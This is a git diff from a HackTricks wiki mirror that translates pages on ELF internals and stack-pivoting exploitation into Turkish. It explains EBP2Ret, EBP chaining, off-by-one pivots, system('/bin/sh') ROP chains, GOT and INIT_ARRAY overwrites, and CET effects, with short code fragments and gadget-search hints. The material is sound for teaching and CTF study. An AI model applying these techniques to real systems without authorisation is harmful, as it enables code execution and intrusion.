mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
parent
7c665be986
commit
663310bb0d
@ -881,7 +881,6 @@
|
||||
- [Interesting Http](todo/interesting-http.md)
|
||||
- [Rust Basics](todo/rust-basics.md)
|
||||
- [More Tools](todo/more-tools.md)
|
||||
- [MISC](todo/misc.md)
|
||||
- [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
|
||||
- [I2C](todo/hardware-hacking/i2c.md)
|
||||
|
@ -41,30 +41,30 @@ The previous program has **9 program headers**, then, the **segment mapping** in
|
||||
|
||||
### PHDR - Program HeaDeR
|
||||
|
||||
Contains the program header tables and metadata itself.
|
||||
Program başlık tablolarını ve meta verileri içerir.
|
||||
|
||||
### INTERP
|
||||
|
||||
Indicates the path of the loader to use to load the binary into memory.
|
||||
İkili dosyayı belleğe yüklemek için kullanılacak yükleyicinin yolunu belirtir.
|
||||
|
||||
> Tip: Statik bağlı veya statik-PIE ikili dosyalar `INTERP` girişi olmayacaktır. Bu durumlarda dinamik yükleyici yer almaz, bu da ona dayanan teknikleri devre dışı bırakır (örneğin, `ret2dlresolve`).
|
||||
> İpucu: Statik bağlı veya statik-PIE ikili dosyaları `INTERP` girişi olmayacaktır. Bu durumlarda dinamik yükleyici yer almaz, bu da ona dayanan teknikleri devre dışı bırakır (örneğin, `ret2dlresolve`).
|
||||
|
||||
### LOAD
|
||||
|
||||
These headers are used to indicate **how to load a binary into memory.**\
|
||||
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
|
||||
Bu başlıklar, **bir ikili dosyayı belleğe nasıl yükleyeceğini** belirtmek için kullanılır.\
|
||||
Her **LOAD** başlığı, **bellek** bölgesini (boyut, izinler ve hizalama) belirtir ve ELF **ikilisinden oraya kopyalanacak baytları** gösterir.
|
||||
|
||||
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
Örneğin, ikincisi 0x1190 boyutundadır, 0x1fc48'de yer almalı, okuma ve yazma izinlerine sahip olmalı ve 0xfc48'den 0x528 ile doldurulacaktır (tüm ayrılan alanı doldurmaz). Bu bellek, `.init_array .fini_array .dynamic .got .data .bss` bölümlerini içerecektir.
|
||||
|
||||
### DYNAMIC
|
||||
|
||||
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
|
||||
Bu başlık, programları kütüphane bağımlılıklarına bağlamaya ve yeniden konumlandırmaları uygulamaya yardımcı olur. **`.dynamic`** bölümüne bakın.
|
||||
|
||||
### NOTE
|
||||
|
||||
This stores vendor metadata information about the binary.
|
||||
Bu, ikili dosya hakkında satıcı meta veri bilgilerini saklar.
|
||||
|
||||
- On x86-64, `readelf -n` will show `GNU_PROPERTY_X86_FEATURE_1_*` flags inside `.note.gnu.property`. If you see `IBT` and/or `SHSTK`, the binary was built with CET (Indirect Branch Tracking and/or Shadow Stack). This impacts ROP/JOP because indirect branch targets must start with an `ENDBR64` instruction and returns are checked against a shadow stack. See the CET page for details and bypass notes.
|
||||
- x86-64'te, `readelf -n` `.note.gnu.property` içinde `GNU_PROPERTY_X86_FEATURE_1_*` bayraklarını gösterecektir. `IBT` ve/veya `SHSTK` görüyorsanız, ikili dosya CET (Dolaylı Dal İzleme ve/veya Gölge Yığın) ile derlenmiştir. Bu, ROP/JOP'yi etkiler çünkü dolaylı dal hedefleri `ENDBR64` talimatıyla başlamalıdır ve dönüşler bir gölge yığınla kontrol edilir. Ayrıntılar ve atlatma notları için CET sayfasına bakın.
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
@ -72,23 +72,23 @@ This stores vendor metadata information about the binary.
|
||||
|
||||
### GNU_EH_FRAME
|
||||
|
||||
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
|
||||
Hata ayıklayıcılar ve C++ istisna işleme çalışma zamanı işlevleri tarafından kullanılan yığın açılma tablolarının konumunu tanımlar.
|
||||
|
||||
### GNU_STACK
|
||||
|
||||
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
|
||||
Yığın yürütme önleme savunmasının yapılandırmasını içerir. Etkinleştirilirse, ikili dosya yığından kod çalıştıramaz.
|
||||
|
||||
- Check with `readelf -l ./bin | grep GNU_STACK`. To forcibly toggle it during tests you can use `execstack -s|-c ./bin`.
|
||||
- `readelf -l ./bin | grep GNU_STACK` ile kontrol edin. Testler sırasında zorla değiştirmek için `execstack -s|-c ./bin` kullanabilirsiniz.
|
||||
|
||||
### GNU_RELRO
|
||||
|
||||
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
|
||||
İkili dosyanın RELRO (Yeniden Konumlandırma Okuma-Sadece) yapılandırmasını belirtir. Bu koruma, program yüklendikten sonra ve çalışmaya başlamadan önce belleğin belirli bölümlerini (örneğin `GOT` veya `init` ve `fini` tabloları) okuma-yalnız olarak işaretleyecektir.
|
||||
|
||||
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
Önceki örnekte, 0x3b8 baytını 0x1fc48'e okuma-yalnız olarak kopyalıyor ve `.init_array .fini_array .dynamic .got .data .bss` bölümlerini etkiliyor.
|
||||
|
||||
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
|
||||
RELRO'nun kısmi veya tam olabileceğini unutmayın, kısmi versiyon **`.plt.got`** bölümünü korumaz, bu bölüm **tembel bağlama** için kullanılır ve kütüphanelerin adresini ilk kez arandığında yazma izinlerine sahip bu bellek alanına ihtiyaç duyar.
|
||||
|
||||
> For exploitation techniques and up-to-date bypass notes, check the dedicated page:
|
||||
> Sömürü teknikleri ve güncel atlatma notları için, özel sayfayı kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
@ -96,11 +96,11 @@ Note that RELRO can be partial or full, the partial version do not protect the s
|
||||
|
||||
### TLS
|
||||
|
||||
Defines a table of TLS entries, which stores info about thread-local variables.
|
||||
İş parçacığına özgü değişkenler hakkında bilgi saklayan bir TLS girişleri tablosunu tanımlar.
|
||||
|
||||
## Section Headers
|
||||
|
||||
Section headers gives a more detailed view of the ELF binary
|
||||
Bölüm başlıkları, ELF ikilisi hakkında daha ayrıntılı bir görünüm sunar.
|
||||
```
|
||||
objdump lnstat -h
|
||||
|
||||
@ -204,8 +204,8 @@ Num: Value Size Type Bind Vis Ndx Name
|
||||
Her sembol girişi şunları içerir:
|
||||
|
||||
- **İsim**
|
||||
- **Bağlama özellikleri** (zayıf, yerel veya global): Yerel bir sembol yalnızca program tarafından erişilebilirken, global semboller programın dışındaki paylaşımlardır. Zayıf bir nesne, örneğin, farklı bir fonksiyonla geçersiz kılınabilen bir fonksiyondur.
|
||||
- **Tür**: NOTYPE (tip belirtilmemiş), OBJECT (global veri değişkeni), FUNC (fonksiyon), SECTION (bölüm), FILE (hata ayıklayıcılar için kaynak kodu dosyası), TLS (iş parçacığına özgü değişken), GNU_IFUNC (yer değiştirme için dolaylı fonksiyon)
|
||||
- **Bağlama özellikleri** (zayıf, yerel veya küresel): Yerel bir sembol yalnızca program tarafından erişilebilirken, küresel semboller programın dışındaki paylaşımlardır. Zayıf bir nesne, örneğin, farklı bir fonksiyonla geçersiz kılınabilen bir fonksiyondur.
|
||||
- **Tür**: NOTYPE (tip belirtilmemiş), OBJECT (küresel veri değişkeni), FUNC (fonksiyon), SECTION (bölüm), FILE (hata ayıklayıcılar için kaynak kodu dosyası), TLS (iş parçacığına özgü değişken), GNU_IFUNC (yer değiştirme için dolaylı fonksiyon)
|
||||
- **Bölüm** indeksi nerede bulunduğu
|
||||
- **Değer** (bellek adresi)
|
||||
- **Boyut**
|
||||
@ -253,7 +253,7 @@ GEREKEN dizini, programın devam edebilmesi için **belirtilen kütüphaneyi yü
|
||||
|
||||
### Dinamik yükleyici arama sırası (RPATH/RUNPATH, $ORIGIN)
|
||||
|
||||
`DT_RPATH` (kullanımdan kaldırılmış) ve/veya `DT_RUNPATH` girdileri, dinamik yükleyicinin bağımlılıkları nerede arayacağını etkiler. Kabaca sıralama:
|
||||
`DT_RPATH` (kullanımdan kaldırılmış) ve/veya `DT_RUNPATH`, dinamik yükleyicinin bağımlılıkları nerede arayacağını etkiler. Kabaca sıralama:
|
||||
|
||||
- `LD_LIBRARY_PATH` (setuid/sgid veya başka bir "güvenli yürütme" programları için göz ardı edilir)
|
||||
- `DT_RPATH` (sadece `DT_RUNPATH` yoksa)
|
||||
@ -344,9 +344,9 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
```
|
||||
### Statik Yeniden Yerleştirmeler
|
||||
|
||||
Eğer **program tercih edilen adresten** (genellikle 0x400000) farklı bir yere yüklenirse, bu adresin zaten kullanılıyor olmasından veya **ASLR** gibi başka bir nedenden dolayı, statik bir yeniden yerleştirme **işaretçileri düzeltir**; bu işaretçiler, ikili dosyanın tercih edilen adreste yükleneceğini bekleyen değerler içerir.
|
||||
Eğer **program tercih edilen adresten** (genellikle 0x400000) farklı bir yere yüklenirse, bu adresin zaten kullanılıyor olmasından veya **ASLR** gibi başka bir nedenden dolayı, statik bir yeniden yerleştirme **işaretçileri düzeltir** ki bu işaretçiler, ikili dosyanın tercih edilen adreste yükleneceğini bekleyen değerler içerir.
|
||||
|
||||
Örneğin, `R_AARCH64_RELATIV` türündeki herhangi bir bölüm, yeniden yerleştirme kayması artı ek değer ile adresi değiştirmelidir.
|
||||
Örneğin, `R_AARCH64_RELATIV` türündeki herhangi bir bölüm, yeniden yerleştirme kayması artı ek değer ile adresin değiştirilmesini gerektirir.
|
||||
|
||||
### Dinamik Yeniden Yerleştirmeler ve GOT
|
||||
|
||||
@ -354,13 +354,13 @@ Yeniden yerleştirme, bir dış sembole (bir bağımlılıktan bir fonksiyon gib
|
||||
|
||||
### Prosedür Bağlantı Tablosu
|
||||
|
||||
PLT bölümü, tembel bağlama yapmayı sağlar; bu, bir fonksiyonun konumunun çözümlemesinin ilk kez erişildiğinde gerçekleştirileceği anlamına gelir.
|
||||
PLT bölümü, tembel bağlama yapmayı sağlar, bu da bir fonksiyonun yerinin çözümlemesinin ilk kez erişildiğinde gerçekleştirileceği anlamına gelir.
|
||||
|
||||
Bu nedenle, bir program malloc'u çağırdığında, aslında PLT'deki `malloc`'un karşılık gelen konumunu çağırır (`malloc@plt`). İlk kez çağrıldığında `malloc`'un adresini çözer ve depolar, böylece bir sonraki `malloc` çağrıldığında, bu adres PLT kodu yerine kullanılır.
|
||||
Bu nedenle bir program malloc'u çağırdığında, aslında PLT'deki `malloc`'un karşılık gelen konumunu çağırır (`malloc@plt`). İlk kez çağrıldığında `malloc`'un adresini çözer ve depolar, böylece bir sonraki `malloc` çağrıldığında, bu adres PLT kodu yerine kullanılır.
|
||||
|
||||
#### Sömürmeyi Etkileyen Modern Bağlama Davranışları
|
||||
#### Sömürüye Etki Eden Modern Bağlama Davranışları
|
||||
|
||||
- `-z now` (Tam RELRO) tembel bağlamayı devre dışı bırakır; PLT girişleri hala mevcuttur ancak GOT/PLT yalnızca okunabilir olarak haritalanmıştır, bu nedenle **GOT yazma** ve **ret2dlresolve** gibi teknikler ana ikili dosyaya karşı çalışmaz (kütüphaneler hala kısmen RELRO olabilir). Bakınız:
|
||||
- `-z now` (Tam RELRO) tembel bağlamayı devre dışı bırakır; PLT girişleri hala mevcuttur ancak GOT/PLT yalnızca okunabilir olarak haritalanmıştır, bu nedenle **GOT overwrite** ve **ret2dlresolve** gibi teknikler ana ikili dosyaya karşı çalışmaz (kütüphaneler hala kısmen RELRO olabilir). Bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
@ -370,7 +370,7 @@ Bu nedenle, bir program malloc'u çağırdığında, aslında PLT'deki `malloc`'
|
||||
|
||||
- PIE vs statik-PIE: PIE (ET_DYN ile `INTERP`) dinamik yükleyiciye ihtiyaç duyar ve olağan PLT/GOT mekanizmasını destekler. Statik-PIE (ET_DYN `INTERP` olmadan) çekirdek yükleyici tarafından uygulanan yeniden yerleştirmelere sahiptir ve `ld.so` yoktur; çalışma zamanında PLT çözümlemesi beklemeyin.
|
||||
|
||||
> Eğer GOT/PLT bir seçenek değilse, diğer yazılabilir kod işaretçilerine geçin veya klasik ROP/SROP'u libc'ye kullanın.
|
||||
> Eğer GOT/PLT bir seçenek değilse, diğer yazılabilir kod işaretçilerine geçin veya libc'ye klasik ROP/SROP kullanın.
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/aw2exec-got-plt.md
|
||||
@ -378,7 +378,7 @@ Bu nedenle, bir program malloc'u çağırdığında, aslında PLT'deki `malloc`'
|
||||
|
||||
## Program Başlatma
|
||||
|
||||
Program yüklendikten sonra çalışması için zamanı gelmiştir. Ancak, çalıştırılan ilk kod **her zaman `main`** fonksiyonu değildir. Bunun nedeni, örneğin C++'ta eğer bir **global değişken bir sınıfın nesnesi ise**, bu nesnenin **main çalışmadan önce** **başlatılması** gerektiğidir, örneğin:
|
||||
Program yüklendikten sonra çalışması için zamanı gelmiştir. Ancak, çalıştırılan ilk kod her zaman **`main`** fonksiyonu değildir. Bunun nedeni, örneğin C++'ta eğer bir **global değişken bir sınıfın nesnesi ise**, bu nesnenin **main çalışmadan önce** **başlatılması** gerektiğidir, örneğin:
|
||||
```cpp
|
||||
#include <stdio.h>
|
||||
// g++ autoinit.cpp -o autoinit
|
||||
@ -399,7 +399,7 @@ printf("Main\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Bu global değişkenlerin `.data` veya `.bss` içinde bulunduğunu unutmayın, ancak `__CTOR_LIST__` ve `__DTOR_LIST__` listelerinde başlatılacak ve yok edilecek nesneler saklanır, böylece bunların takibi yapılabilir.
|
||||
Bu global değişkenlerin `.data` veya `.bss` içinde bulunduğunu unutmayın, ancak `__CTOR_LIST__` ve `__DTOR_LIST__` listelerinde, başlatılacak ve yok edilecek nesneler saklanır, böylece bunların takibi yapılabilir.
|
||||
|
||||
C kodundan, GNU uzantılarını kullanarak aynı sonuca ulaşmak mümkündür:
|
||||
```c
|
||||
@ -414,9 +414,9 @@ Ayrıca, **`INIT_ARRAY`** işaretçileri **önce** çalıştırılacak **işaret
|
||||
|
||||
#### Sömürü notu
|
||||
|
||||
- Kısmi RELRO altında bu diziler, `ld.so` `PT_GNU_RELRO`'yu salt okunur hale getirmeden önce hala yazılabilir olan sayfalarda yaşar. Eğer yeterince erken bir keyfi yazma elde ederseniz veya bir kütüphanenin yazılabilir dizilerini hedef alırsanız, bir girişi seçtiğiniz bir fonksiyonla üst üste yazarak kontrol akışını ele geçirebilirsiniz. Tam RELRO altında bunlar çalışma zamanında salt okunurdur.
|
||||
- Kısmi RELRO altında bu diziler, `ld.so` `PT_GNU_RELRO`'yu salt okunur hale getirmeden önce hala yazılabilir olan sayfalarda yaşar. Eğer yeterince erken bir keyfi yazma elde ederseniz veya bir kütüphanenin yazılabilir dizilerini hedef alırsanız, bir girişi istediğiniz bir fonksiyonla üst üste yazarak kontrol akışını ele geçirebilirsiniz. Tam RELRO altında, çalışma zamanında salt okunurdur.
|
||||
|
||||
- Çalışma zamanında keyfi sembolleri çözmek için dinamik bağlayıcının tembel bağlama istismarı için, özel sayfaya bakın:
|
||||
- Dinamik bağlayıcının keyfi sembolleri çalışma zamanında çözmek için tembel bağlama istismarı hakkında bilgi için, özel sayfaya bakın:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2dlresolve.md
|
||||
@ -447,9 +447,9 @@ Her değişken, boyutu ve thread'in yerel veri alanındaki kullanacağı TLS ofs
|
||||
|
||||
Linux çekirdeği, çalışma zamanı için yararlı adresler ve bayraklar içeren bir yardımcı vektörü süreçlere iletir:
|
||||
|
||||
- `AT_RANDOM`: glibc tarafından yığın canavarı ve diğer PRNG tohumları için kullanılan 16 rastgele bayta işaret eder.
|
||||
- `AT_RANDOM`: glibc tarafından stack canary ve diğer PRNG tohumları için kullanılan 16 rastgele bayta işaret eder.
|
||||
- `AT_SYSINFO_EHDR`: vDSO haritalamasının temel adresi ( `__kernel_*` sistem çağrılarını ve gadget'ları bulmak için kullanışlı).
|
||||
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ` vb.
|
||||
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, vb.
|
||||
|
||||
Bir saldırgan olarak, eğer `/proc` altında bellek veya dosyaları okuyabiliyorsanız, genellikle hedef süreçte bir bilgi sızıntısı olmadan bunları sızdırabilirsiniz:
|
||||
```bash
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Bu teknik, **Base Pointer (EBP/RBP)**'ı manipüle etme yeteneğinden yararlanarak, çerçeve işaretçisinin dikkatli kullanımı ve **`leave; ret`** talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme işlemini gerçekleştirir.
|
||||
Bu teknik, **Base Pointer (EBP/RBP)**'ı manipüle etme yeteneğini kullanarak, çerçeve işaretçisinin dikkatli kullanımı ve **`leave; ret`** talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme işlemini gerçekleştirir.
|
||||
|
||||
Hatırlatmak gerekirse, x86/x86-64 üzerinde **`leave`** şuna eşdeğerdir:
|
||||
```
|
||||
@ -15,16 +15,16 @@ ret
|
||||
Ve kaydedilmiş **EBP/RBP yığın içinde** kaydedilmiş EIP/RIP'ten önce olduğu için, yığını kontrol ederek bunu kontrol etmek mümkündür.
|
||||
|
||||
> Notlar
|
||||
> - 64-bit'te, EBP'yi RBP ve ESP'yi RSP ile değiştirin. Anlamlar aynıdır.
|
||||
> - 64-bit'te, EBP'yi RBP ile ve ESP'yi RSP ile değiştirin. Anlamlar aynıdır.
|
||||
> - Bazı derleyiciler çerçeve işaretçisini atlar (bkz. “EBP kullanılmayabilir”). Bu durumda, `leave` görünmeyebilir ve bu teknik çalışmayacaktır.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
Bu teknik, **kaydedilmiş EBP/RBP'yi değiştirebildiğiniz ancak EIP/RIP'yi doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle yararlıdır. Fonksiyon epilog davranışını kullanır.
|
||||
|
||||
Eğer `fvuln`'ın yürütülmesi sırasında, yığında shellcode/ROP zincir adresinizin bulunduğu bir bellek alanına işaret eden **sahte bir EBP** enjekte etmeyi başarırsanız (amd64 için 8 bayt / x86 için 4 bayt `pop` için), RIP'yi dolaylı olarak kontrol edebilirsiniz. Fonksiyon dönerken, `leave` RSP'yi oluşturulmuş konuma ayarlar ve sonraki `pop rbp` RSP'yi azaltır, **etkili bir şekilde oraya saldırgan tarafından saklanan bir adrese işaret eder**. Ardından `ret` bu adresi kullanacaktır.
|
||||
Eğer `fvuln`'ın yürütülmesi sırasında, yığında shellcode/ROP zincir adresinizin bulunduğu bir bellek alanına işaret eden **sahte bir EBP** enjekte etmeyi başarırsanız (amd64 için 8 bayt / x86 için 4 bayt `pop` için), RIP'yi dolaylı olarak kontrol edebilirsiniz. Fonksiyon dönerken, `leave` RSP'yi oluşturulmuş konuma ayarlar ve sonraki `pop rbp` RSP'yi azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder**. Ardından `ret` bu adresi kullanacaktır.
|
||||
|
||||
İki adresi **bilmeniz gerektiğini unutmayın**: ESP/RSP'nin gideceği adres ve `ret`'in tüketeceği o adreste saklanan değer.
|
||||
İki adresi **bilmeniz gerektiğine dikkat edin**: ESP/RSP'nin gideceği adres ve `ret`'in tüketeceği o adreste saklanan değer.
|
||||
|
||||
#### Exploit Yapısı
|
||||
|
||||
@ -34,33 +34,33 @@ Sonra, **yürütmeyi aktaracak** `ret` tarafından kullanılan adresi seçmeniz
|
||||
|
||||
- Geçerli bir [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresi.
|
||||
- **`system()`** adresi, ardından uygun dönüş ve argümanlar (x86'da: `ret` hedefi = `&system`, ardından 4 gereksiz bayt, sonra `&"/bin/sh"`).
|
||||
- Bir **`jmp esp;`** gadget'ının adresi ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ardından satır içi shellcode.
|
||||
- Inline shellcode ile birlikte bir **`jmp esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)).
|
||||
- Yazılabilir bellek içinde aşamalı bir [**ROP**](../rop-return-oriented-programing/index.html) zinciri.
|
||||
|
||||
Bu adreslerin kontrol edilen alandaki herhangi birinin önünde, `leave`'den gelen **`pop ebp/rbp`** için **yer olması gerektiğini** unutmayın (amd64'de 8B, x86'da 4B). Bu baytları, **ikinci sahte EBP** ayarlamak ve ilk çağrı döndükten sonra kontrolü sürdürmek için kullanabilirsiniz.
|
||||
Bu adreslerin kontrol edilen alandaki herhangi birinin önünde, `leave`'den gelen **`pop ebp/rbp`** için **yer olması gerektiğini** unutmayın (amd64'de 8B, x86'da 4B). Bu baytları, **ikinci sahte EBP** ayarlamak ve ilk çağrı döndükten sonra kontrolü sürdürmek için kötüye kullanabilirsiniz.
|
||||
|
||||
#### Off-By-One Exploit
|
||||
|
||||
Sadece **kaydedilmiş EBP/RBP'nin en az anlamlı baytını değiştirebildiğiniz** bir varyant vardır. Bu durumda, **`ret`** ile atlamak için adresi saklayan bellek konumu, orijinal EBP/RBP ile ilk üç/beş baytı paylaşmalıdır, böylece 1 baytlık bir yazma işlemi onu yönlendirebilir. Genellikle düşük bayt (offset 0x00) mümkün olduğunca yakın bir sayfa/hizalanmış bölge içinde atlamak için artırılır.
|
||||
Sadece **kaydedilmiş EBP/RBP'nin en az anlamlı baytını** değiştirebildiğinizde kullanılan bir varyant vardır. Bu durumda, **`ret`** ile atlamak için adresi saklayan bellek konumu, orijinal EBP/RBP ile ilk üç/beş baytı paylaşmalıdır, böylece 1 baytlık bir yazma işlemi yönlendirme yapabilir. Genellikle düşük bayt (offset 0x00) mümkün olduğunca yakın bir sayfa/hizalanmış bölge içinde atlamak için artırılır.
|
||||
|
||||
Yığın içinde bir RET kaydı kullanmak ve gerçek ROP zincirini en sona koymak da yaygındır, böylece yeni RSP'nin kaydın içinde işaret etmesi ve son ROP zincirinin yürütülmesi olasılığı artar.
|
||||
|
||||
### EBP Zincirleme
|
||||
|
||||
Yığın içinde kaydedilmiş `EBP` slotuna kontrol edilen bir adres yerleştirerek ve `EIP/RIP` içinde bir `leave; ret` gadget'ı ile, **`ESP/RSP`'yi saldırgan kontrolündeki bir adrese taşımak mümkündür**.
|
||||
Yığın içinde kaydedilmiş `EBP` slotuna kontrol edilen bir adres yerleştirerek ve `EIP/RIP`'te bir `leave; ret` gadget'ı ile, **`ESP/RSP`'yi saldırgan kontrolündeki bir adrese taşımak mümkündür**.
|
||||
|
||||
Artık `RSP` kontrol altında ve bir sonraki talimat `ret`. Kontrol edilen belleğe şunları yerleştirin:
|
||||
|
||||
- `&(next fake EBP)` -> `leave`'den `pop ebp/rbp` ile yüklendi.
|
||||
- `&system()` -> `ret` ile çağrıldı.
|
||||
- `&(leave;ret)` -> `system` sona erdikten sonra, RSP'yi bir sonraki sahte EBP'ye taşır ve devam eder.
|
||||
- `&(leave;ret)` -> `system` sona erdikten sonra RSP'yi bir sonraki sahte EBP'ye taşır ve devam eder.
|
||||
- `&("/bin/sh")` -> `system` için argüman.
|
||||
|
||||
Bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür.
|
||||
|
||||
Bu, bir [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) gibidir, ancak daha karmaşık ve yalnızca kenar durumlarında yararlıdır.
|
||||
|
||||
Ayrıca, bu tekniği bir **stack leak** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**örnek zorluk**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) var. Bu, sayfanın son yüklemesidir:
|
||||
Ayrıca, bu tekniği kullanan bir [**challenge örneği**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) var ve bu, bir **stack leak** ile kazanan bir fonksiyonu çağırır. Bu, sayfanın son yüklemesidir:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -124,7 +124,7 @@ add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore
|
||||
ret # return
|
||||
```
|
||||
On amd64 genellikle `pop rbp ; ret` yerine `leave ; ret` görürsünüz, ancak çerçeve işaretçisi tamamen atlandığında, üzerinden geçilecek `rbp`-tabanlı bir epilog yoktur.
|
||||
On amd64 genellikle `pop rbp ; ret` yerine `leave ; ret` görürsünüz, ancak çerçeve işaretçisi tamamen atlandığında, geçiş yapmak için `rbp` tabanlı bir epilog yoktur.
|
||||
|
||||
## RSP'yi kontrol etmenin diğer yolları
|
||||
|
||||
@ -194,7 +194,7 @@ Klasik pivot primitive'leri aramak için favori gadget bulucunuzu kullanın:
|
||||
|
||||
- `leave ; ret` fonksiyonlarda veya kütüphanelerde
|
||||
- `pop rsp` / `xchg rax, rsp ; ret`
|
||||
- `add rsp, <imm> ; ret` (veya x86'da `add esp, <imm> ; ret`)
|
||||
- `add rsp, <imm> ; ret` (veya `add esp, <imm> ; ret` x86'da)
|
||||
|
||||
Örnekler:
|
||||
```bash
|
||||
@ -242,13 +242,13 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
- Bazı modern dağıtımlar, donanım ve glibc desteği mevcut olduğunda CET etkinleştirilmiş ikili dosyalar için SHSTK'yı etkinleştirir. VM'lerde kontrollü testler için, SHSTK sistem genelinde `nousershstk` çekirdek önyükleme parametresi ile devre dışı bırakılabilir veya başlangıçta glibc ayarları aracılığıyla seçici olarak etkinleştirilebilir (bkz. referanslar). Üretim hedeflerinde önlemleri devre dışı bırakmayın.
|
||||
- JOP/COOP veya SROP tabanlı teknikler bazı hedeflerde hala geçerli olabilir, ancak SHSTK özellikle `ret` tabanlı pivotları kırar.
|
||||
|
||||
- Windows notu: Windows 10+ kullanıcı modunu açar ve Windows 11, gölge yığınlar üzerine inşa edilmiş "Donanım ile Zorlanan Yığın Koruması"nı ekler. CET uyumlu süreçler, `ret`'te yığın pivotlamayı/ROP'u engeller; geliştiriciler CETCOMPAT ve ilgili politikalar aracılığıyla katılır (bkz. referans).
|
||||
- Windows notu: Windows 10+ kullanıcı modunu açar ve Windows 11, gölge yığınlar üzerine inşa edilmiş "Donanım ile Zorunlu Yığın Koruması" ekler. CET uyumlu süreçler, `ret`'te yığın pivotlamayı/ROP'u engeller; geliştiriciler CETCOMPAT ve ilgili politikalar aracılığıyla katılır (bkz. referans).
|
||||
|
||||
## ARM64
|
||||
|
||||
ARM64'te, fonksiyonların **prologları ve epilogları** **SP kaydını** yığında saklamaz ve geri almaz. Dahası, **`RET`** talimatı SP tarafından işaret edilen adrese değil, **`x30`** içindeki adrese döner.
|
||||
ARM64'te, fonksiyonların **prologları ve epilogları** **SP kaydını** yığında saklamaz ve geri almaz. Dahası, **`RET`** talimatı SP tarafından işaret edilen adrese dönmez, ancak **`x30`** içindeki adrese döner.
|
||||
|
||||
Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak **SP kaydını kontrol edemezsiniz**; yığında bazı verileri yazarak. Ve SP'yi kontrol etmeyi başarırsanız bile, **`x30`** kaydını kontrol etmenin bir yoluna ihtiyacınız olacaktır.
|
||||
Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak **SP kaydını kontrol edemezsiniz** yığın içindeki bazı verileri yazarak. Ve SP'yi kontrol etmeyi başarırsanız bile, **`x30`** kaydını kontrol etmenin bir yoluna ihtiyacınız olacaktır.
|
||||
|
||||
- prolog
|
||||
|
||||
@ -267,7 +267,7 @@ ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, **`SP`'yi kontrol edebilmek** (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından **epilogu kötüye kullanarak** **kontrollü bir `SP`'den** **`x30`** kaydını yükleyip **`RET`** yapmaktır.
|
||||
> ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, **`SP`'yi kontrol edebilmek** (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından **epilogu kötüye kullanarak** **kontrollü bir `SP`'den** **`x30`** kaydını yüklemek ve ona **`RET`** yapmaktır.
|
||||
|
||||
Ayrıca, aşağıdaki sayfada **Ret2esp'in ARM64'teki eşdeğeri** görülebilir:
|
||||
|
||||
@ -282,8 +282,8 @@ Ayrıca, aşağıdaki sayfada **Ret2esp'in ARM64'teki eşdeğeri** görülebilir
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 bit, bir ret sled ile başlayan bir rop zinciri ile bir off by one istismarı
|
||||
